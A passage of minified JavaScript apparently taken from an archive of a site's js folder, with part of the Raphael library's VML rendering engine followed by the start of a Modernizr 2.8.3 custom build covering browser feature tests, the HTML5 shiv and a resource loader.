j=c.getElementsByTagName(h),I=!1;if(j=j&&j[0],!j&&(I=j=N(h)),"image"==n.type&&l.src&&(j.src=l.src),l.fill&&(j.on=!0),null!=j.on&&"none"!=l.fill&&null!==l.fill||(j.on=!1),j.on&&l.fill){var q=r(l.fill).match(t._ISURL);if(q){j.parentNode==c&&c.removeChild(j),j.rotate=!0,j.src=q[1],j.type="tile";var D=n.getBBox(1);j.position=D.x+p+D.y,n._.fillpos=[D.x,D.y],t._preload(q[1],function(){n._.fillsize=[this.offsetWidth,this.offsetHeight]})}else j.color=t.getRGB(l.fill).hex,j.src=d,j.type="solid",t.getRGB(l.fill).error&&(m.type in{circle:1,ellipse:1}||"r"!=r(l.fill).charAt())&&T(m,l.fill,j)&&(f.fill="none",f.gradient=l.fill,j.rotate=!1)}if("fill-opacity"in l||"opacity"in l){var V=((+f["fill-opacity"]+1||2)-1)*((+f.opacity+1||2)-1)*((+t.getRGB(l.fill).o+1||2)-1);V=o(s(V,0),1),j.opacity=V,j.src&&(j.color="none")}c.appendChild(j);var O=c.getElementsByTagName("stroke")&&c.getElementsByTagName("stroke")[0],Y=!1;!O&&(Y=O=N("stroke")),(l.stroke&&"none"!=l.stroke||l["stroke-width"]||null!=l["stroke-opacity"]||l["stroke-dasharray"]||l["stroke-miterlimit"]||l["stroke-linejoin"]||l["stroke-linecap"])&&(O.on=!0),("none"==l.stroke||null===l.stroke||null==O.on||0==l.stroke||0==l["stroke-width"])&&(O.on=!1);var W=t.getRGB(l.stroke);O.on&&l.stroke&&(O.color=W.hex),V=((+f["stroke-opacity"]+1||2)-1)*((+f.opacity+1||2)-1)*((+W.o+1||2)-1);var G=.75*(i(l["stroke-width"])||1);if(V=o(s(V,0),1),null==l["stroke-width"]&&(G=f["stroke-width"]),l["stroke-width"]&&(O.weight=G),G&&G<1&&(V*=G)&&(O.weight=1),O.opacity=V,l["stroke-linejoin"]&&(O.joinstyle=l["stroke-linejoin"]||"miter"),O.miterlimit=l["stroke-miterlimit"]||8,l["stroke-linecap"]&&(O.endcap="butt"==l["stroke-linecap"]?"flat":"square"==l["stroke-linecap"]?"square":"round"),"stroke-dasharray"in l){var H={"-":"shortdash",".":"shortdot","-.":"shortdashdot","-..":"shortdashdotdot",". ":"dot","- ":"dash","--":"longdash","- .":"dashdot","--.":"longdashdot","--..":"longdashdotdot"};O.dashstyle=H[e](l["stroke-dasharray"])?H[l["stroke-dasharray"]]:d}Y&&c.appendChild(O)}if("text"==m.type){m.paper.canvas.style.display=d;var X=m.paper.span,U=100,$=f.font&&f.font.match(/\d+(?:\.\d*)?(?=px)/);g=X.style,f.font&&(g.font=f.font),f["font-family"]&&(g.fontFamily=f["font-family"]),f["font-weight"]&&(g.fontWeight=f["font-weight"]),f["font-style"]&&(g.fontStyle=f["font-style"]),$=i(f["font-size"]||$&&$[0])||10,g.fontSize=$*U+"px",m.textpath.string&&(X.innerHTML=r(m.textpath.string).replace(/</g,"&#60;").replace(/&/g,"&#38;").replace(/\n/g,"<br>"));var Z=X.getBoundingClientRect();m.W=f.w=(Z.right-Z.left)/U,m.H=f.h=(Z.bottom-Z.top)/U,m.X=f.x,m.Y=f.y+m.H/2,("x"in l||"y"in l)&&(m.path.v=t.format("m{0},{1}l{2},{1}",a(f.x*b),a(f.y*b),a(f.x*b)+1));for(var Q=["x","y","text","font","font-family","font-weight","font-style","font-size"],J=0,K=Q.length;J<K;J++)if(Q[J]in l){m._.dirty=1;break}switch(f["text-anchor"]){case"start":m.textpath.style["v-text-align"]="left",m.bbx=m.W/2;break;case"end":m.textpath.style["v-text-align"]="right",m.bbx=-m.W/2;break;default:m.textpath.style["v-text-align"]="center",m.bbx=0}m.textpath.style["v-text-kern"]=!0}},T=function(e,a,s){e.attrs=e.attrs||{};var o=e.attrs,l=Math.pow,h,u,c="linear",f=".5 .5";if(e.attrs.gradient=a,a=r(a).replace(t._radial_gradient,function(t,e,r){return c="radial",e&&r&&(e=i(e),r=i(r),l(e-.5,2)+l(r-.5,2)>.25&&(r=n.sqrt(.25-l(e-.5,2))*(2*(r>.5)-1)+.5),f=e+p+r),d}),a=a.split(/\s*\-\s*/),"linear"==c){var g=a.shift();if(g=-i(g),isNaN(g))return null}var v=t._parseDots(a);if(!v)return null;if(e=e.shape||e.node,v.length){e.removeChild(s),s.on=!0,s.method="none",s.color=v[0].color,s.color2=v[v.length-1].color;for(var x=[],y=0,m=v.length;y<m;y++)v[y].offset&&x.push(v[y].offset+p+v[y].color);s.colors=x.length?x.join():"0% "+s.color,"radial"==c?(s.type="gradientTitle",s.focus="100%",s.focussize="0 0",s.focusposition=f,s.angle=0):(s.type="gradient",s.angle=(270-g)%360),e.appendChild(s)}return 1},E=function(e,r){this[0]=this.node=e,e.raphael=!0,this.id=t._oid++,e.raphaelid=this.id,this.X=0,this.Y=0,this.attrs={},this.paper=r,this.matrix=t.matrix(),this._={transform:[],sx:1,sy:1,dx:0,dy:0,deg:0,dirty:1,dirtyT:1},!r.bottom&&(r.bottom=this),this.prev=r.top,r.top&&(r.top.next=this),r.top=this,this.next=null},M=t.el;E.prototype=M,M.constructor=E,M.transform=function(e){if(null==e)return this._.transform;var i=this.paper._viewBoxShift,n=i?"s"+[i.scale,i.scale]+"-1-1t"+[i.dx,i.dy]:d,a;i&&(a=e=r(e).replace(/\.{3}|\u2026/g,this._.transform||d)),t._extractTransform(this,n+e);var s=this.matrix.clone(),o=this.skew,l=this.node,h,u=~r(this.attrs.fill).indexOf("-"),c=!r(this.attrs.fill).indexOf("url(");if(s.translate(1,1),c||u||"image"==this.type)if(o.matrix="1 0 0 1",o.offset="0 0",h=s.split(),u&&h.noRotation||!h.isSimple){l.style.filter=s.toFilter();var f=this.getBBox(),g=this.getBBox(1),v=f.x-g.x,x=f.y-g.y;l.coordorigin=v*-b+p+x*-b,C(this,1,1,v,x,0)}else l.style.filter=d,C(this,h.scalex,h.scaley,h.dx,h.dy,h.rotate);else l.style.filter=d,o.matrix=r(s),o.offset=s.offset();return null!==a&&(this._.transform=a,t._extractTransform(this,a)),this},M.rotate=function(t,e,n){if(this.removed)return this;if(null!=t){if(t=r(t).split(u),t.length-1&&(e=i(t[1]),n=i(t[2])),t=i(t[0]),null==n&&(e=n),null==e||null==n){var a=this.getBBox(1);e=a.x+a.width/2,n=a.y+a.height/2}return this._.dirtyT=1,this.transform(this._.transform.concat([["r",t,e,n]])),this}},M.translate=function(t,e){return this.removed?this:(t=r(t).split(u),t.length-1&&(e=i(t[1])),t=i(t[0])||0,e=+e||0,this._.bbox&&(this._.bbox.x+=t,this._.bbox.y+=e),this.transform(this._.transform.concat([["t",t,e]])),this)},M.scale=function(t,e,n,a){if(this.removed)return this;if(t=r(t).split(u),t.length-1&&(e=i(t[1]),n=i(t[2]),a=i(t[3]),isNaN(n)&&(n=null),isNaN(a)&&(a=null)),t=i(t[0]),null==e&&(e=t),null==a&&(n=a),null==n||null==a)var s=this.getBBox(1);return n=null==n?s.x+s.width/2:n,a=null==a?s.y+s.height/2:a,this.transform(this._.transform.concat([["s",t,e,n,a]])),this._.dirtyT=1,this},M.hide=function(){return!this.removed&&(this.node.style.display="none"),this},M.show=function(){return!this.removed&&(this.node.style.display=d),this},M.auxGetBBox=t.el.getBBox,M.getBBox=function(){var t=this.auxGetBBox();if(this.paper&&this.paper._viewBoxShift){var e={},r=1/this.paper._viewBoxShift.scale;return e.x=t.x-this.paper._viewBoxShift.dx,e.x*=r,e.y=t.y-this.paper._viewBoxShift.dy,e.y*=r,e.width=t.width*r,e.height=t.height*r,e.x2=e.x+e.width,e.y2=e.y+e.height,e}return t},M._getBBox=function(){return this.removed?{}:{x:this.X+(this.bbx||0)-this.W/2,y:this.Y-this.H,width:this.W,height:this.H}},M.remove=function(){if(!this.removed&&this.node.parentNode){this.paper.__set__&&this.paper.__set__.exclude(this),t.eve.unbind("raphael.*.*."+this.id),t._tear(this,this.paper),this.node.parentNode.removeChild(this.node),this.shape&&this.shape.parentNode.removeChild(this.shape);for(var e in this)this[e]="function"==typeof this[e]?t._removedFactory(e):null;this.removed=!0}},M.attr=function(r,i){if(this.removed)return this;if(null==r){var n={};for(var a in this.attrs)this.attrs[e](a)&&(n[a]=this.attrs[a]);return n.gradient&&"none"==n.fill&&(n.fill=n.gradient)&&delete n.gradient,n.transform=this._.transform,n}if(null==i&&t.is(r,"string")){if(r==h&&"none"==this.attrs.fill&&this.attrs.gradient)return this.attrs.gradient;for(var s=r.split(u),o={},l=0,f=s.length;l<f;l++)r=s[l],r in this.attrs?o[r]=this.attrs[r]:t.is(this.paper.customAttributes[r],"function")?o[r]=this.paper.customAttributes[r].def:o[r]=t._availableAttrs[r];return f-1?o:o[s[0]]}if(this.attrs&&null==i&&t.is(r,"array")){for(o={},l=0,f=r.length;l<f;l++)o[r[l]]=this.attr(r[l]);return o}var p;null!=i&&(p={},p[r]=i),null==i&&t.is(r,"object")&&(p=r);for(var d in p)c("raphael.attr."+d+"."+this.id,this,p[d]);if(p){for(d in this.paper.customAttributes)if(this.paper.customAttributes[e](d)&&p[e](d)&&t.is(this.paper.customAttributes[d],"function")){var g=this.paper.customAttributes[d].apply(this,[].concat(p[d]));this.attrs[d]=p[d];for(var v in g)g[e](v)&&(p[v]=g[v])}p.text&&"text"==this.type&&(this.textpath.string=p.text),A(this,p)}return this},M.toFront=function(){return!this.removed&&this.node.parentNode.appendChild(this.node),this.paper&&this.paper.top!=this&&t._tofront(this,this.paper),this},M.toBack=function(){return this.removed?this:(this.node.parentNode.firstChild!=this.node&&(this.node.parentNode.insertBefore(this.node,this.node.parentNode.firstChild),t._toback(this,this.paper)),this)},M.insertAfter=function(e){return this.removed?this:(e.constructor==t.st.constructor&&(e=e[e.length-1]),e.node.nextSibling?e.node.parentNode.insertBefore(this.node,e.node.nextSibling):e.node.parentNode.appendChild(this.node),t._insertafter(this,e,this.paper),this)},M.insertBefore=function(e){return this.removed?this:(e.constructor==t.st.constructor&&(e=e[0]),e.node.parentNode.insertBefore(this.node,e.node),t._insertbefore(this,e,this.paper),this)},M.blur=function(e){var r=this.node.runtimeStyle,i=r.filter;return i=i.replace(x,d),0!==+e?(this.attrs.blur=e,r.filter=i+p+f+".Blur(pixelradius="+(+e||1.5)+")",r.margin=t.format("-{0}px 0 0 -{0}px",a(+e||1.5))):(r.filter=i,r.margin=0,delete this.attrs.blur),this},t._engine.path=function(t,e){var r=N("shape");r.style.cssText=m,r.coordsize=b+p+b,r.coordorigin=e.coordorigin;var i=new E(r,e),n={fill:"none",stroke:"#000"};t&&(n.path=t),i.type="path",i.path=[],i.Path=d,A(i,n),e.canvas&&e.canvas.appendChild(r);var a=N("skew");return a.on=!0,r.appendChild(a),i.skew=a,i.transform(d),i},t._engine.rect=function(e,r,i,n,a,s){var o=t._rectPath(r,i,n,a,s),l=e.path(o),h=l.attrs;return l.X=h.x=r,l.Y=h.y=i,l.W=h.width=n,l.H=h.height=a,h.r=s,h.path=o,l.type="rect",l},t._engine.ellipse=function(t,e,r,i,n){var a=t.path(),s=a.attrs;return a.X=e-i,a.Y=r-n,a.W=2*i,a.H=2*n,a.type="ellipse",A(a,{cx:e,cy:r,rx:i,ry:n}),a},t._engine.circle=function(t,e,r,i){var n=t.path(),a=n.attrs;return n.X=e-i,n.Y=r-i,n.W=n.H=2*i,n.type="circle",A(n,{cx:e,cy:r,r:i}),n},t._engine.image=function(e,r,i,n,a,s){var o=t._rectPath(i,n,a,s),l=e.path(o).attr({stroke:"none"}),u=l.attrs,c=l.node,f=c.getElementsByTagName(h)[0];return u.src=r,l.X=u.x=i,l.Y=u.y=n,l.W=u.width=a,l.H=u.height=s,u.path=o,l.type="image",f.parentNode==c&&c.removeChild(f),f.rotate=!0,f.src=r,f.type="tile",l._.fillpos=[i,n],l._.fillsize=[a,s],c.appendChild(f),C(l,1,1,0,0,0),l},t._engine.text=function(e,i,n,s){var o=N("shape"),l=N("path"),h=N("textpath");i=i||0,n=n||0,s=s||"",l.v=t.format("m{0},{1}l{2},{1}",a(i*b),a(n*b),a(i*b)+1),l.textpathok=!0,h.string=r(s),h.on=!0,o.style.cssText=m,o.coordsize=b+p+b,o.coordorigin="0 0";var u=new E(o,e),c={fill:"#000",stroke:"none",font:t._availableAttrs.font,text:s};u.shape=o,u.path=l,u.textpath=h,u.type="text",u.attrs.text=r(s),u.attrs.x=i,u.attrs.y=n,u.attrs.w=1,u.attrs.h=1,A(u,c),o.appendChild(h),o.appendChild(l),e.canvas.appendChild(o);var f=N("skew");return f.on=!0,o.appendChild(f),u.skew=f,u.transform(d),u},t._engine.setSize=function(e,r){var i=this.canvas.style;return this.width=e,this.height=r,e==+e&&(e+="px"),r==+r&&(r+="px"),i.width=e,i.height=r,i.clip="rect(0 "+e+" "+r+" 0)",this._viewBox&&t._engine.setViewBox.apply(this,this._viewBox),this},t._engine.setViewBox=function(e,r,i,n,a){t.eve("raphael.setViewBox",this,this._viewBox,[e,r,i,n,a]);var s=this.getSize(),o=s.width,l=s.height,h,u;return a&&(h=l/n,u=o/i,i*h<o&&(e-=(o-i*h)/2/h),n*u<l&&(r-=(l-n*u)/2/u)),this._viewBox=[e,r,i,n,!!a],this._viewBoxShift={dx:-e,dy:-r,scale:s},this.forEach(function(t){t.transform("...")}),this};var N;t._engine.initWin=function(t){var e=t.document;e.styleSheets.length<31?e.createStyleSheet().addRule(".rvml","behavior:url(#default#VML)"):e.styleSheets[0].addRule(".rvml","behavior:url(#default#VML)");try{!e.namespaces.rvml&&e.namespaces.add("rvml","urn:schemas-microsoft-com:vml"),N=function(t){return e.createElement("<rvml:"+t+' class="rvml">')}}catch(r){N=function(t){return e.createElement("<"+t+' xmlns="urn:schemas-microsoft.com:vml" class="rvml">')}}},t._engine.initWin(t._g.win),t._engine.create=function(){var e=t._getContainer.apply(0,arguments),r=e.container,i=e.height,n,a=e.width,s=e.x,o=e.y;if(!r)throw new Error("VML container not found.");var l=new t._Paper,h=l.canvas=t._g.doc.createElement("div"),u=h.style;return s=s||0,o=o||0,a=a||512,i=i||342,l.width=a,l.height=i,a==+a&&(a+="px"),i==+i&&(i+="px"),l.coordsize=1e3*b+p+1e3*b,l.coordorigin="0 0",l.span=t._g.doc.createElement("span"),l.span.style.cssText="position:absolute;left:-9999em;top:-9999em;padding:0;margin:0;line-height:1;",h.appendChild(l.span),u.cssText=t.format("top:0;left:0;width:{0};height:{1};display:inline-block;position:relative;clip:rect(0 {0} {1} 0);overflow:hidden",a,i),1==r?(t._g.doc.body.appendChild(h),u.left=s+"px",u.top=o+"px",u.position="absolute"):r.firstChild?r.insertBefore(h,r.firstChild):r.appendChild(h),l.renderfix=function(){},l},t.prototype.clear=function(){t.eve("raphael.clear",this),this.canvas.innerHTML=d,this.span=t._g.doc.createElement("span"),this.span.style.cssText="position:absolute;left:-9999em;top:-9999em;padding:0;margin:0;line-height:1;display:inline;",this.canvas.appendChild(this.span),this.bottom=this.top=null},t.prototype.remove=function(){t.eve("raphael.remove",this),this.canvas.parentNode.removeChild(this.canvas);for(var e in this)this[e]="function"==typeof this[e]?t._removedFactory(e):null;return!0};var L=t.st;for(var z in M)M[e](z)&&!L[e](z)&&(L[z]=function(t){return function(){var e=arguments;return this.forEach(function(r){r[t].apply(r,e)})}}(z))}}.apply(e,i),!(void 0!==n&&(t.exports=n))}])});js/modernizr.js000066600000035622151150443030007537 0ustar00/* Modernizr 2.8.3 (Custom Build) | MIT & BSD
 * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-cssgradients-cssreflections-csstransforms-csstransforms3d-csstransitions-applicationcache-canvas-canvastext-draganddrop-hashchange-history-audio-video-indexeddb-input-inputtypes-localstorage-postmessage-sessionstorage-websockets-websqldatabase-webworkers-geolocation-inlinesvg-smil-svg-svgclippaths-touch-webgl-shiv-cssclasses-addtest-prefixed-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-load
 */
;window.Modernizr=function(a,b,c){function C(a){j.cssText=a}function D(a,b){return C(n.join(a+";")+(b||""))}function E(a,b){return typeof a===b}function F(a,b){return!!~(""+a).indexOf(b)}function G(a,b){for(var d in a){var e=a[d];if(!F(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function H(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:E(f,"function")?f.bind(d||b):f}return!1}function I(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return E(b,"string")||E(b,"undefined")?G(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),H(e,b,c))}function J(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)u[c[d]]=c[d]in k;return u.list&&(u.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),u}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:absolute;visibility:hidden;",/^range$/.test(f)&&k.style.WebkitAppearance!==c?(g.appendChild(k),h=b.defaultView,e=h.getComputedStyle&&h.getComputedStyle(k,null).WebkitAppearance!=="textfield"&&k.offsetHeight!==0,g.removeChild(k)):/^(search|tel)$/.test(f)||(/^(url|email)$/.test(f)?e=k.checkValidity&&k.checkValidity()===!1:e=k.value!=l)),t[a[d]]=!!e;return t}("search tel url email datetime date month week time datetime-local number range color".split(" "))}var d="2.8.3",e={},f=!0,g=b.documentElement,h="modernizr",i=b.createElement(h),j=i.style,k=b.createElement("input"),l=":)",m={}.toString,n=" -webkit- -moz- -o- -ms- ".split(" "),o="Webkit Moz O ms",p=o.split(" "),q=o.toLowerCase().split(" "),r={svg:"http://www.w3.org/2000/svg"},s={},t={},u={},v=[],w=v.slice,x,y=function(a,c,d,e){var f,i,j,k,l=b.createElement("div"),m=b.body,n=m||b.createElement("body");if(parseInt(d,10))while(d--)j=b.createElement("div"),j.id=e?e[d]:h+(d+1),l.appendChild(j);return f=["&#173;",'<style id="s',h,'">',a,"</style>"].join(""),l.id=h,(m?l:n).innerHTML+=f,n.appendChild(l),m||(n.style.background="",n.style.overflow="hidden",k=g.style.overflow,g.style.overflow="hidden",g.appendChild(n)),i=c(l,a),m?l.parentNode.removeChild(l):(n.parentNode.removeChild(n),g.style.overflow=k),!!i},z=function(){function d(d,e){e=e||b.createElement(a[d]||"div"),d="on"+d;var f=d in e;return f||(e.setAttribute||(e=b.createElement("div")),e.setAttribute&&e.removeAttribute&&(e.setAttribute(d,""),f=E(e[d],"function"),E(e[d],"undefined")||(e[d]=c),e.removeAttribute(d))),e=null,f}var a={select:"input",change:"input",submit:"form",reset:"form",error:"img",load:"img",abort:"img"};return d}(),A={}.hasOwnProperty,B;!E(A,"undefined")&&!E(A.call,"undefined")?B=function(a,b){return A.call(a,b)}:B=function(a,b){return b in a&&E(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=w.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(w.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(w.call(arguments)))};return e}),s.flexbox=function(){return I("flexWrap")},s.canvas=function(){var a=b.createElement("canvas");return!!a.getContext&&!!a.getContext("2d")},s.canvastext=function(){return!!e.canvas&&!!E(b.createElement("canvas").getContext("2d").fillText,"function")},s.webgl=function(){return!!a.WebGLRenderingContext},s.touch=function(){var c;return"ontouchstart"in a||a.DocumentTouch&&b instanceof DocumentTouch?c=!0:y(["@media (",n.join("touch-enabled),("),h,")","{#modernizr{top:9px;position:absolute}}"].join(""),function(a){c=a.offsetTop===9}),c},s.geolocation=function(){return"geolocation"in navigator},s.postmessage=function(){return!!a.postMessage},s.websqldatabase=function(){return!!a.openDatabase},s.indexedDB=function(){return!!I("indexedDB",a)},s.hashchange=function(){return z("hashchange",a)&&(b.documentMode===c||b.documentMode>7)},s.history=function(){return!!a.history&&!!history.pushState},s.draganddrop=function(){var a=b.createElement("div");return"draggable"in a||"ondragstart"in a&&"ondrop"in a},s.websockets=function(){return"WebSocket"in a||"MozWebSocket"in a},s.rgba=function(){return C("background-color:rgba(150,255,150,.5)"),F(j.backgroundColor,"rgba")},s.hsla=function(){return C("background-color:hsla(120,40%,100%,.5)"),F(j.backgroundColor,"rgba")||F(j.backgroundColor,"hsla")},s.multiplebgs=function(){return C("background:url(https://),url(https://),red url(https://)"),/(url\s*\(.*?){3}/.test(j.background)},s.backgroundsize=function(){return I("backgroundSize")},s.borderimage=function(){return I("borderImage")},s.borderradius=function(){return I("borderRadius")},s.boxshadow=function(){return I("boxShadow")},s.textshadow=function(){return b.createElement("div").style.textShadow===""},s.opacity=function(){return D("opacity:.55"),/^0.55$/.test(j.opacity)},s.cssanimations=function(){return I("animationName")},s.csscolumns=function(){return I("columnCount")},s.cssgradients=function(){var a="background-image:",b="gradient(linear,left top,right bottom,from(#9f9),to(white));",c="linear-gradient(left top,#9f9, white);";return C((a+"-webkit- ".split(" ").join(b+a)+n.join(c+a)).slice(0,-a.length)),F(j.backgroundImage,"gradient")},s.cssreflections=function(){return I("boxReflect")},s.csstransforms=function(){return!!I("transform")},s.csstransforms3d=function(){var a=!!I("perspective");return a&&"webkitPerspective"in g.style&&y("@media (transform-3d),(-webkit-transform-3d){#modernizr{left:9px;position:absolute;height:3px;}}",function(b,c){a=b.offsetLeft===9&&b.offsetHeight===3}),a},s.csstransitions=function(){return I("transition")},s.fontface=function(){var a;return y('@font-face {font-family:"font";src:url("https://")}',function(c,d){var e=b.getElementById("smodernizr"),f=e.sheet||e.styleSheet,g=f?f.cssRules&&f.cssRules[0]?f.cssRules[0].cssText:f.cssText||"":"";a=/src/i.test(g)&&g.indexOf(d.split(" ")[0])===0}),a},s.generatedcontent=function(){var a;return y(["#",h,"{font:0/0 a}#",h,':after{content:"',l,'";visibility:hidden;font:3px/1 a}'].join(""),function(b){a=b.offsetHeight>=3}),a},s.video=function(){var a=b.createElement("video"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),c.h264=a.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),c.webm=a.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,"")}catch(d){}return c},s.audio=function(){var a=b.createElement("audio"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),c.mp3=a.canPlayType("audio/mpeg;").replace(/^no$/,""),c.wav=a.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),c.m4a=(a.canPlayType("audio/x-m4a;")||a.canPlayType("audio/aac;")).replace(/^no$/,"")}catch(d){}return c},s.localstorage=function(){try{return localStorage.setItem(h,h),localStorage.removeItem(h),!0}catch(a){return!1}},s.sessionstorage=function(){try{return sessionStorage.setItem(h,h),sessionStorage.removeItem(h),!0}catch(a){return!1}},s.webworkers=function(){return!!a.Worker},s.applicationcache=function(){return!!a.applicationCache},s.svg=function(){return!!b.createElementNS&&!!b.createElementNS(r.svg,"svg").createSVGRect},s.inlinesvg=function(){var a=b.createElement("div");return a.innerHTML="<svg/>",(a.firstChild&&a.firstChild.namespaceURI)==r.svg},s.smil=function(){return!!b.createElementNS&&/SVGAnimate/.test(m.call(b.createElementNS(r.svg,"animate")))},s.svgclippaths=function(){return!!b.createElementNS&&/SVGClipPath/.test(m.call(b.createElementNS(r.svg,"clipPath")))};for(var K in s)B(s,K)&&(x=K.toLowerCase(),e[x]=s[K](),v.push((e[x]?"":"no-")+x));return e.input||J(),e.addTest=function(a,b){if(typeof a=="object")for(var d in a)B(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b=="function"?b():b,typeof f!="undefined"&&f&&(g.className+=" "+(b?"":"no-")+a),e[a]=b}return e},C(""),i=k=null,function(a,b){function l(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function m(){var a=s.elements;return typeof a=="string"?a.split(" "):a}function n(a){var b=j[a[h]];return b||(b={},i++,a[h]=i,j[i]=b),b}function o(a,c,d){c||(c=b);if(k)return c.createElement(a);d||(d=n(c));var g;return d.cache[a]?g=d.cache[a].cloneNode():f.test(a)?g=(d.cache[a]=d.createElem(a)).cloneNode():g=d.createElem(a),g.canHaveChildren&&!e.test(a)&&!g.tagUrn?d.frag.appendChild(g):g}function p(a,c){a||(a=b);if(k)return a.createDocumentFragment();c=c||n(a);var d=c.frag.cloneNode(),e=0,f=m(),g=f.length;for(;e<g;e++)d.createElement(f[e]);return d}function q(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return s.shivMethods?o(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function r(a){a||(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCSS&&(c.hasCSS=!!l(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),k||q(a,c),a}var c="3.7.0",d=a.html5||{},e=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,f=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,g,h="_html5shiv",i=0,j={},k;(function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",g="hidden"in a,k=a.childNodes.length==1||function(){b.createElement("a");var a=b.createDocumentFragment();return typeof a.cloneNode=="undefined"||typeof a.createDocumentFragment=="undefined"||typeof a.createElement=="undefined"}()}catch(c){g=!0,k=!0}})();var s={elements:d.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:c,shivCSS:d.shivCSS!==!1,supportsUnknownElements:k,shivMethods:d.shivMethods!==!1,type:"default",shivDocument:r,createElement:o,createDocumentFragment:p};a.html5=s,r(b)}(this,b),e._version=d,e._prefixes=n,e._domPrefixes=q,e._cssomPrefixes=p,e.hasEvent=z,e.testProp=function(a){return G([a])},e.testAllProps=I,e.testStyles=y,e.prefixed=function(a,b,c){return b?I(a,b,c):I(a,"pfx")},g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(f?" js "+v.join(" "):""),e}(this,this.document),function(a,b,c){function d(a){return"[object Function]"==o.call(a)}function e(a){return"string"==typeof a}function f(){}function g(a){return!a||"loaded"==a||"complete"==a||"uninitialized"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){("c"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){"img"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),"object"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),"img"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i("c"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&"[object Opera]"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return"[object Array]"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split("="),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,h){var i=b(a),j=i.autoCallback;i.url.split(".").pop().split("?").shift(),i.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split("/").pop().split("?")[0]]),i.instead?i.instead(a,e,f,g,h):(y[i.url]?i.noexec=!0:y[i.url]=1,f.load(i.url,i.forceCSS||!i.forceJS&&"css"==i.url.split(".").pop().split("?").shift()?"c":c,i.noexec,i.attrs,i.timeout),(d(e)||d(j))&&f.load(function(){k(),e&&e(i.origUrl,h,g),j&&j(i.origUrl,h,g),y[i.url]=2})))}function h(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return 